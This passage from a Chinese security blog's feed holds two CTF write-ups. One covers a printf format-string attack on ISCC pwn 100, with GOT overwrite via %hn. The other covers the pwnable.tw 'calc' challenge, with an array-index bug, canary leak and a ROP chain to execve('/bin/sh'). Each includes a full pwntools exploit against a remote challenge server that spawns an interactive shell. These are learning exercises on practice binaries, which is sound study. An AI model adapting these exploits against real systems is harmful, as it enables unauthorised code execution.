将short类型扩展成int<br>如:</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;%2$d %2$#x; %1$d %1$#x&quot;</span>,<span class="number">16</span>,<span class="number">17</span>) </span><br><span class="line">产生<span class="string">&quot;17 0x11; 16 0x10&quot;</span></span><br></pre></td></tr></table></figure><h2 id="下面用一个例题来说明具体利用-iscc-pwn-100">下面用一个例题来说明具体利用:<br>ISCC pwn 100</h2><p>虽然这个比赛有一些很容易的题目，但是pwn似乎出的还是蛮适合新手的（？）<br>程序大致流程如下:<br><img src="/2017/01/28/pwn-learn-printf/printf-05.png" alt=""><br>程序给了一个libc，漏洞有两个:gets和printf。<br>然而仔细看，发现这个程序他。。。没有return，那这个canary就没有什么意义了。。。<br>所以，我们的只能利用这个printf了。我们的第一步就是通过printf找到puts函数的真实地址，然后计算出libc的地址，并且计算出system的地址，并且替换掉printf的.plt表，让其执行system:<br><img src="/2017/01/28/pwn-learn-printf/printf-06.png" alt=""><br>为了实现这个思路，首先要能够泄露出puts的地址，这里我们可以用上文提到过的方法，在printf输入的字符串中写入puts.plt的地址，从而将plt的内容输出:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;p32(puts_got) + &quot;%6$s&quot;  </span><br></pre></td></tr></table></figure><p>这个<code>%6$s</code>是【计算出了当前字符串的开始地址】然后独处这个地址中的内容，也就是puts的内容。:<br><img src="/2017/01/28/pwn-learn-printf/printf-07.png" alt=""><br>我们得到了puts的地址后，再次构造，利用%n往指定的位置写入数据。这里有一个技巧:一个地址的一般大，不可能说写入0xb000cf00个字符串(因为printf是真的向stdout中写出那么多个字符串，而这个数字很大)，所以这里我们分成两个部分，分别写入0xb000和0xcf00-0xb000个字符串(此时我们指定用hn，也就是按照两个字节写入)，这样的话就能够写入字符串。<br><img src="/2017/01/28/pwn-learn-printf/printf-08.png" alt=""><br>第二个技巧是，当我们计算这个<code>%x$hn</code>的时候,x的数值是根据字符串的起始位置来确定的，而我们写入的字符出长度也是要精确计算过的，所以这个就导致我们需要知道我们写入的地址有没有被计算在输出的字符串长度中。因此我们可以将地址放在字符串的尾部，这样的话我们的输出长度x就不需要继续调整，直接就是我们之前计算好的地址的两部分。<br>如果按照上述做法的话，可能会有疑惑，这个x的长度应该也会影响字符串，那又如何确定printf.got在第几个变量呢，这里要用到一个进程运行时动态库的位置的知识:动态链接库的程序所映射的地址空间是介于<strong>栈和堆</strong>之间，或者说<strong>更加接近于栈方向</strong>，也就是说此时地址的一般是0xbxxxxxxx,也就是说是数字0xb000~0xbfff(45056-49151),而后面那段就算是0xffff，答案也是65535,长度依然是5，也就是<strong>大概率这个数字的长度是5</strong>，所以我们计算参数所在位置的时候，这个字符串的长度我们就默认为5计算，应该是不会错的。<br>于是我们可以得到字符串为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%(5)x%13$hn%(5)x%14$hnaa+printfs_got+printf_got+2  </span><br></pre></td></tr></table></figure><p>通过计算，能够发现这个字符串的长度为28（本来是26，我们在第二个$hn后长度为26，为了对其填补两个aa作为padding），然后计算后可以得到，此时的printf_got(<strong>注意这个要是got！因为我们是修改got表</strong>)，最后计算出这个printfs_got的地址为第13个变量的位置。<br>最后就能够计算出exp:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">exp = &quot;%&quot; + str(c2) + &quot;x&quot; + &quot;%13$hn&quot; + &quot;%&quot;+ str(c1-c2) + &quot;x&quot; + &quot;%14$hnaa&quot; + p32(printf_got) + p32(printf_got + 2)</span><br></pre></td></tr></table></figure><p>下面给出poc:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#   -*- coding:utf-8 -*-</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">DEBUG = <span class="number">0</span></span><br><span class="line"><span class="keyword">if</span> DEBUG:</span><br><span class="line">    ph = process(<span class="string">&quot;./pwn1&quot;</span>)</span><br><span class="line">    context.log_level = <span class="string">&quot;debug&quot;</span></span><br><span class="line">    context.terminal = [<span class="string">&quot;tmux&quot;</span>, <span class="string">&quot;splitw&quot;</span>, <span class="string">&quot;-h&quot;</span>]</span><br><span class="line">    gdb.attach(ph, <span class="string">&quot;break *0x080485C7&quot;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    ph = remote(<span class="string">&quot;115.28.185.220&quot;</span>,<span class="number">11111</span>)</span><br><span class="line"></span><br><span class="line">puts_got = <span class="number">0x0804A01C</span></span><br><span class="line">puts_addr = <span class="number">0x00064DA0</span></span><br><span class="line">system_addr = <span class="number">0x0003FE70</span></span><br><span class="line">printf_got = <span class="number">0x0804A010</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sendPwn</span>(<span class="params">exp</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    send exp to program</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    <span class="built_in">print</span>(ph.recvuntil(<span class="string">&quot;plz input$&quot;</span>))</span><br><span class="line">    ph.sendline(<span class="string">&#x27;1&#x27;</span>)</span><br><span class="line">    <span class="built_in">print</span>(ph.recvuntil(<span class="string">&quot;name:&quot;</span>))</span><br><span class="line"></span><br><span class="line">    <span class="comment"># attack</span></span><br><span class="line">    ph.sendline(exp)</span><br><span class="line">    ret = ph.recvuntil(<span class="string">&quot;,you are welcome!&quot;</span>)</span><br><span class="line">    <span class="comment"># print ret</span></span><br><span class="line">    <span class="keyword">return</span> ret</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    exp = <span class="string">&quot;%31$x&quot;</span></span><br><span class="line">    ans = sendPwn(exp)</span><br><span class="line">    ans.replace(<span class="string">&quot;\n&quot;</span>,<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">    <span class="comment"># get the canary</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;the ans is &quot;</span> + ans+ <span class="string">&quot;...&quot;</span>)</span><br><span class="line">    canary = <span class="built_in">int</span>(ans[:<span class="number">8</span>], <span class="number">16</span>)</span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot; get canary &quot;</span> + <span class="built_in">hex</span>(canary)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># try to get pust address:</span></span><br><span class="line">    exp = p32(puts_got) + <span class="string">&quot;%6$s&quot;</span></span><br><span class="line">    ans = sendPwn(exp)</span><br><span class="line">    <span class="comment"># get puts_plt</span></span><br><span class="line">    puts_plt = u32(ans[<span class="number">5</span>:<span class="number">9</span>])</span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot;puts_got.plt is &quot;</span> + <span class="built_in">hex</span>(puts_plt)</span><br><span class="line">    offset = puts_plt - puts_addr</span><br><span class="line">    system_plt = offset + system_addr</span><br><span class="line">    <span class="comment"># bin_plt = offset + bin_addr</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># pwn!</span></span><br><span class="line">    <span class="comment"># must use printf format vulnerable</span></span><br><span class="line">    c1 = <span class="built_in">int</span>(<span class="built_in">hex</span>(system_plt)[<span class="number">2</span>:<span class="number">6</span>], <span class="number">16</span>)</span><br><span class="line">    c2 = <span class="built_in">int</span>(<span class="built_in">hex</span>(system_plt)[<span class="number">6</span>:<span class="number">10</span>], <span class="number">16</span>)</span><br><span class="line"></span><br><span class="line">    exp = <span class="string">&quot;%&quot;</span> + <span class="built_in">str</span>(c2) + <span class="string">&quot;x&quot;</span> + <span class="string">&quot;%13$hn&quot;</span> + <span class="string">&quot;%&quot;</span>+ <span class="built_in">str</span>(c1-c2) + <span class="string">&quot;x&quot;</span> + <span class="string">&quot;%14$hnaa&quot;</span> + p32(printf_got) + p32(printf_got + <span class="number">2</span>)</span><br><span class="line">    <span class="comment"># sendPwn(exp)</span></span><br><span class="line">    <span class="built_in">print</span>(ph.recvuntil(<span class="string">&quot;plz input$&quot;</span>))</span><br><span class="line">    ph.sendline(<span class="string">&#x27;1&#x27;</span>)</span><br><span class="line">    <span class="built_in">print</span>(ph.recvuntil(<span class="string">&quot;name:&quot;</span>))</span><br><span class="line">    <span class="comment"># attack</span></span><br><span class="line">    ph.sendline(exp)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># ph.recvuntil(&quot;plz input$&quot;)</span></span><br><span class="line">    ph.sendline(<span class="string">&quot;1&quot;</span>)</span><br><span class="line">    ph.recvuntil(<span class="string">&quot;please input your name:&quot;</span>)</span><br><span class="line">    ph.sendline(<span class="string">&quot;/bin/sh&quot;</span>)</span><br><span class="line"></span><br><span class="line">    ph.interactive()</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;printf的漏洞听过好多次，但是总是没有成功利用过，这里记录学习过程。&lt;/p&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="format string attack" scheme="https://showlinkroom.me/tags/format-string-attack/"/>
    
  </entry>
  
  <entry>
    <title>pwnable-tw-03</title>
    <link href="https://showlinkroom.me/2017/01/28/pwnable-tw-03/"/>
    <id>https://showlinkroom.me/2017/01/28/pwnable-tw-03/</id>
    <published>2017-01-28T13:47:01.000Z</published>
    <updated>2020-07-16T13:31:30.398Z</updated>
    
    <content type="html"><![CDATA[<p>不知不觉就打开了第三题。。。。</p><span id="more"></span><h3 id="calc-150-pts">calc [150 pts]</h3><p>提示是*Have you ever use Microsoft calculator?*这种提示，第一时间上网找信息，发现在google上真的流传着microsoft calculator的bug，好像触发方式为:</p><ul><li>打开一个计算器</li><li>输入4</li><li>使用sqrt,会得到结果2</li><li>然后用当前数字减去2</li><li>发现结果为-8.1648465955514287168521180122928e-39，并不是0<br>嗯。。。大概是暗示运算可能存在问题？<br>首先打开，发现程序大致如下：<br><img src="/2017/01/28/pwnable-tw-03/pwnbale-3-01.png" alt=""><br>这里由于提示，我们就尤其关注一下calc的内容<br><img src="/2017/01/28/pwnable-tw-03/pwnbale-3-02.png" alt=""><br>会发现开启了栈保护，并且每次都会清空s，看起来是不要打算栈溢出攻击了。。。<br>首先是<strong>get_expr</strong>，这个函数会将大部分的不合法字符串过滤掉，只读入±*/%和所有的数字。<br><img src="/2017/01/28/pwnable-tw-03/pwnbale-3-03.png" alt=""><br>（get_expr细节）<br>init_pool也是一个初始化函数，将一个数组中的数据初始化为0。然后这里尤其关注一下parse_expr，这个函数是一个解析表达式的过程。windows的表达式出错就和这个密切相关，这里进行深入的了解:<br><img src="/2017/01/28/pwnable-tw-03/pwnbale-3-04.png" alt=""><br>开始分析就遇到了问题：为什么</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)(*(_BYTE *)(i + expr) - <span class="number">48</span>) &gt; <span class="number">9</span> )</span><br></pre></td></tr></table></figure><p>要将大于9（也就是为数字的时候）的过滤掉？后来在gdb调试的时候发现这里的为unsigned，也就是无符号的，所以只要小于48（也就是符号范围内）的都会被考虑（之前其他符号已经被过滤了）<br>明白之后继续看，会发现将单独出现的0都过滤了（防止出现除数为0）<br><img src="/2017/01/28/pwnable-tw-03/pwnbale-3-04.png" alt=""><br>这个地方出现了两个有点问题的地方，第一，atoi是有极限的，我记得好像是最高位为1的时候翻译就会一直为0还是什么的。。。然后是第二个，就是打了？？的位置，这段要是直接理解起来的话意思为</p><ul><li>首先从传入的a2(开始为全0)中读取当前的数据v4，之后自己内容自增1</li><li>然后以v4为下标，并且将换算得到的数据赋值过去。。。。。<br>这做起来的目的很奇怪啊。。。。后来想到应该是这样的<br>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH<br>放入了数字个数|第一个数字|第二个数字|…<br>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH<br>这样的话就说的通了，只不过是带有头部的数组而已。<br>那么现在我们回头看原先的calc函数的内容<br><img src="/2017/01/28/pwnable-tw-03/pwnbale-3-06.png" alt=""><br>也就能够明白了:array_from_1其实还是array数组，只不过是&amp;array[1]而已，printf的时候，是通过判断array[0]中的数据，来决定自己要输出的内容的位置，从而从array_from_1中选取数据输出。<br>eval的内容如下<br><img src="/2017/01/28/pwnable-tw-03/pwnbale-3-04.png" alt=""><br>根据算法，发现了如下的漏洞:</li><li>由于算法eval的运算法则为【使用当前的第一位array[0]作为下标进行取值】，所以当我们使用形如&quot;*400&quot;,&quot;-300&quot;的写法的时候，<strong>会将array[0]作为运算左值，array[1]作为运算右值，从而可以做到泄漏信息的目的</strong>已知calc中的数组的起始地址为ebp-1440，而ebp-0xc处存放了一个canary，于是计算得知(1440 - 0xc)/4=357(除以4是因为一个int的大小为4)，于是当array[0]的值为358的时候，此时便会取到canary的具体值&quot;0xdce1ae00&quot;<br>由于始终想不到在哪里进行注入。。。思考了很久，直到成功的从网上找到了writeup。。。这里参考一下别人的思路。</li><li>考虑到有输入过滤，所以首先排除stack中存入shellcode的想法，然后<strong>考虑ret2lib的方法，所以要检查此时是否存在动态连接：</strong><br><img src="/2017/01/28/pwnable-tw-03/pwnbale-3-07.png" alt=""><br>从图上可以发现，没有动态连接的部分，说明此程序是静态编译的，不能使用ret2lib的方法。但是相对的，就可以找到ROPgadget（也就是所谓的【跳板门】）从而构造execve(&quot;\bin\sh&quot;)</li><li>关键的注入其实还是利用之前提到的泄漏的问题，如果我们通过+300能够<strong>修改array[0]的值为符号后面指定的数字</strong>那么+300+1的话就能够<strong>通过修改了array[0]，从而在eval里面可以对特定的地址内容进行修改</strong>,这样就完成了注入。<br>为了测试是否能够注入成功，我们首先尝试导出返回值的内容:<br><img src="/2017/01/28/pwnable-tw-03/pwnbale-3-08.png" alt=""><br>可以看到，此时的字符串的起始地址为:ebp-1036,而看到后面取值的时候：<br><img src="/2017/01/28/pwnable-tw-03/pwnbale-3-09.png" alt=""><br>此时都为int四字节对其，则此时距离返回值的距离为1440/4=360,而为了能够输出此时的地址，看到printf的输出为<br><img src="/2017/01/28/pwnable-tw-03/pwnbale-3-10.png" alt=""><br>也就是此时距离返回值地址为361(包括一个ebp),我们直接输入*362或者+361便可导出数据。测试成功后，接下来尝试修改一下返回值地址，将其修改成目的地址0x0804947B，看看看能否成功：<br><img src="/2017/01/28/pwnable-tw-03/pwnbale-3-11.png" alt=""><br>成功了！这种修改甚至绕开了canary，这就更加的方便。接下来我们只要构造ROPgadget即可：<br>最终目的是 构建execve(’\bin\sh’)，所以我们的目的自然是【产生int 0x80中断并且此时ebx必须指向执行的程序位置，也就是/bin/sh】，那么我们的手段应该是</li><li>将eax的值最终提升为11</li><li>往栈中写入数据’\bin\sh’</li><li>将ebx的值指向一个栈的位置</li><li>将ecx/edx的值进行置零（？）</li><li>执行int 80<br>为了实现第一条，首先要能够将eax的值变为0，并且能够立刻返回。本来是想使用pwntools快速构建rop的，但是我的电脑上总是报错，最后只好下载了一个ROPgadget来用。。。虽然用着很不方便，但是也找到了一些内容:</li></ul><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">0808F2D3                 <span class="keyword">xor</span>     <span class="built_in">eax</span>, <span class="built_in">eax</span></span><br><span class="line">0808F2D5                 <span class="keyword">retn</span>               <span class="comment">;此处可以将eax值置为0</span></span><br><span class="line"></span><br><span class="line">080908D0                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="number">7</span></span><br><span class="line">080908D5                 <span class="keyword">retn</span>               <span class="comment">;此处可以增加eax的值，从而减少inc的次数</span></span><br><span class="line"></span><br><span class="line">0807cb7e                 <span class="keyword">nop</span>  <span class="keyword">inc</span> <span class="built_in">eax</span> <span class="comment">; ret;可以通过反复跳转此步，将eax的值提升为11</span></span><br></pre></td></tr></table></figure><p>然后为了实现能够将数据字符串放入栈中，我们可以直接同过往其中写入数据的方式，将/bin/sh写入数据栈中，但是此时为了能够让ebx正好指向这个栈的位置，我们需要将这个过程放在最后执行，然后通过寻找pop ebx 的方法将数据的地址放到：</p><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">080701D0                 <span class="keyword">pop</span>     <span class="built_in">edx</span></span><br><span class="line">080701D1                 <span class="keyword">pop</span>     <span class="built_in">ecx</span></span><br><span class="line">080701D2                 <span class="keyword">pop</span>     <span class="built_in">ebx</span></span><br><span class="line">080701D3                 <span class="keyword">retn</span></span><br><span class="line"><span class="comment">;此步骤可以将当前栈中的地址返回给ebx</span></span><br></pre></td></tr></table></figure><p>由于此时是打开了ASTL的，所以我们得通过printf来将我们需要的目的数据泄漏才行。由于我们已知栈中的情况为<br><img src="/2017/01/28/pwnable-tw-03/pwnbale-3-12.png" alt=""><br>也就是说，此时通过加入数据可以通过返回值指向为0x080701d0,然后将edx，ecx，ebx值修改为我们想要的值（其中ebx的值要在最后计算出来）<br>然后</p><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">08049a21                 <span class="keyword">int</span> <span class="number">0x80</span>；触发中断</span><br></pre></td></tr></table></figure><p>最后触发这个位置的中断，我们就可以完成我们的攻击。<br>那么综上所述，我们的栈应该变成如下的样子：<br><img src="/2017/01/28/pwnable-tw-03/pwnbale-3-13.png" alt=""><br>然后最后，每次都先获得相关值，通过计算出栈中值和当前值的offset，然后通过下一次输入数据的时候输入【当前地址+offset】完成地址的修改。<br>发现太久没写代码，这段代码写的不是一般的烂啊。。。。然后得到如下的答案:<br><img src="/2017/01/28/pwnable-tw-03/pwnbale-3-14.png" alt=""><br>测试过程中发现，似乎edx的值不去理会也没有太大问题？<br>第一次边界溢出成功！<br>附上代码</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#   -*- coding:utf-8</span></span><br><span class="line"><span class="comment">#!usr/bing.env  python</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">DEBUG = <span class="number">0</span></span><br><span class="line"><span class="keyword">if</span> DEBUG:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">    context.terminal = [<span class="string">&#x27;tmux&#x27;</span>,<span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line">    ph = process(<span class="string">&quot;./calc&quot;</span>)</span><br><span class="line">    gdb.attach(ph,<span class="string">&#x27;b *0x08049433&#x27;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    ph = remote(<span class="string">&#x27;139.162.123.119&#x27;</span>,<span class="number">10100</span>)</span><br><span class="line">    <span class="comment"># ph = process(&quot;./calc&quot;)</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># array is the offset from the array to get index of stack</span></span><br><span class="line"></span><br><span class="line">array = [<span class="string">&#x27;361&#x27;</span>,<span class="string">&#x27;362&#x27;</span>,<span class="string">&#x27;363&#x27;</span>,<span class="string">&#x27;364&#x27;</span>,<span class="string">&#x27;365&#x27;</span>,<span class="string">&#x27;366&#x27;</span>,<span class="string">&#x27;367&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;368&#x27;</span>,<span class="string">&#x27;369&#x27;</span>,<span class="string">&#x27;370&#x27;</span>,<span class="string">&#x27;371&#x27;</span>,<span class="string">&#x27;372&#x27;</span>,<span class="string">&#x27;373&#x27;</span>,<span class="string">&#x27;360&#x27;</span>]</span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">array = [&#x27;361&#x27;,&#x27;362&#x27;,&#x27;363&#x27;,&#x27;364&#x27;,&#x27;365&#x27;,&#x27;366&#x27;,&#x27;367&#x27;,</span></span><br><span class="line"><span class="string">        &#x27;368&#x27;,&#x27;369&#x27;,&#x27;370&#x27;,&#x27;371&#x27;,&#x27;372&#x27;,&#x27;360&#x27;]</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="comment"># stack record value that we need to change to</span></span><br><span class="line"></span><br><span class="line">stack = [<span class="number">0x0808f2d3</span>, <span class="number">0x080908d0</span>, <span class="number">0x0807cb7e</span>,</span><br><span class="line">        <span class="number">0x0807cb7e</span>, <span class="number">0x0807cb7e</span>, <span class="number">0x0807cb7e</span>,</span><br><span class="line">        <span class="number">0x080701d0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>,</span><br><span class="line">        <span class="number">0x0</span>, <span class="number">0x08049a21</span>, u32(<span class="string">&#x27;/bin&#x27;</span>), u32(<span class="string">&#x27;/sh\0&#x27;</span>)]</span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">stack = [0x0808f2d3, 0x080908d0, 0x0807cb7e,</span></span><br><span class="line"><span class="string">        0x0807cb7e, 0x0807cb7e, 0x0807cb7e,</span></span><br><span class="line"><span class="string">        0x080701d1, 0x0,</span></span><br><span class="line"><span class="string">        0x0, 0x08049a21, u32(&#x27;/bin&#x27;), u32(&#x27;/sh\0&#x27;)]</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line">ebp_offset = <span class="number">0x10</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">getStack</span>():</span><br><span class="line">    s = <span class="string">&#x27;+&#x27;</span> + array[<span class="built_in">len</span>(array)-<span class="number">1</span>]</span><br><span class="line">    <span class="comment"># get the old ebp</span></span><br><span class="line">    ph.send(s + <span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">    num = <span class="built_in">int</span>(ph.recv(<span class="number">1024</span>))</span><br><span class="line">    num += <span class="number">0x100000000</span></span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot;receive the ebp is %x and ebx is %x&quot;</span>%(num,num+ebp_offset)</span><br><span class="line">    stack[<span class="number">9</span>] = num + ebp_offset</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">writeStack</span>():</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(stack)):</span><br><span class="line">        s = <span class="string">&#x27;+&#x27;</span> + array[i]</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&quot;[*] - send &quot;</span> + s</span><br><span class="line"></span><br><span class="line">        ph.send(s + <span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">        num = <span class="built_in">int</span>(ph.recv(<span class="number">1024</span>))</span><br><span class="line"></span><br><span class="line">        offset = stack[i] - num</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&quot;[*] - receive the %x,offset is %x&quot;</span>%(num, offset)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> offset&lt;<span class="number">0</span>:</span><br><span class="line">            s_ = s + <span class="string">&#x27;-&#x27;</span> + <span class="built_in">str</span>(-offset) + <span class="string">&#x27;\n&#x27;</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            s_ = s + <span class="string">&#x27;+&#x27;</span> + <span class="built_in">str</span>(offset) + <span class="string">&#x27;\n&#x27;</span></span><br><span class="line">        <span class="built_in">print</span> <span class="string">&quot;[*] - and send &quot;</span> + s_</span><br><span class="line">        ph.send(s_)</span><br><span class="line">        value = <span class="built_in">int</span>(ph.recv(<span class="number">1024</span>))</span><br><span class="line">        <span class="keyword">if</span> value&lt;<span class="number">0</span>:</span><br><span class="line">            value+=<span class="number">0x100000000</span></span><br><span class="line">        <span class="keyword">while</span> value!=stack[i]:</span><br><span class="line">            <span class="built_in">print</span> <span class="string">&quot;[!] the value is %x&quot;</span>%(value)</span><br><span class="line">            offset = stack[i] - value</span><br><span class="line">            <span class="keyword">if</span> offset&lt;<span class="number">0</span>:</span><br><span class="line">                ph.send(s + <span class="string">&#x27;-&#x27;</span> + <span class="built_in">str</span>(-offset) +<span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                ph.send(s + <span class="string">&#x27;+&#x27;</span> + <span class="built_in">str</span>(offset) + <span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">            <span class="built_in">print</span> <span class="string">&quot;[!] go on send &quot;</span> + array[i]</span><br><span class="line">            value = <span class="built_in">int</span>(ph.recv(<span class="number">1024</span>))</span><br><span class="line">            <span class="keyword">if</span> value&lt;<span class="number">0</span>:</span><br><span class="line">                value+=<span class="number">0x100000000</span></span><br><span class="line">        <span class="built_in">print</span> <span class="string">&quot;[!] new value is %x&quot;</span>%value</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&quot;-----------------------------&quot;</span></span><br><span class="line"></span><br><span class="line">    ph.send(<span class="string">&quot;=======================\n&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="built_in">print</span> ph.recv(<span class="number">1024</span>)</span><br><span class="line">    getStack()</span><br><span class="line">    writeStack()</span><br><span class="line">    ph.interactive()</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;不知不觉就打开了第三题。。。。&lt;/p&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="pwnable" scheme="https://showlinkroom.me/tags/pwnable/"/>
    
  </entry>
  
  <entry>
    <title>pwnable-tw2</title>
    <link href="https://showlinkroom.me/2017/01/24/pwnable-tw2/"/>
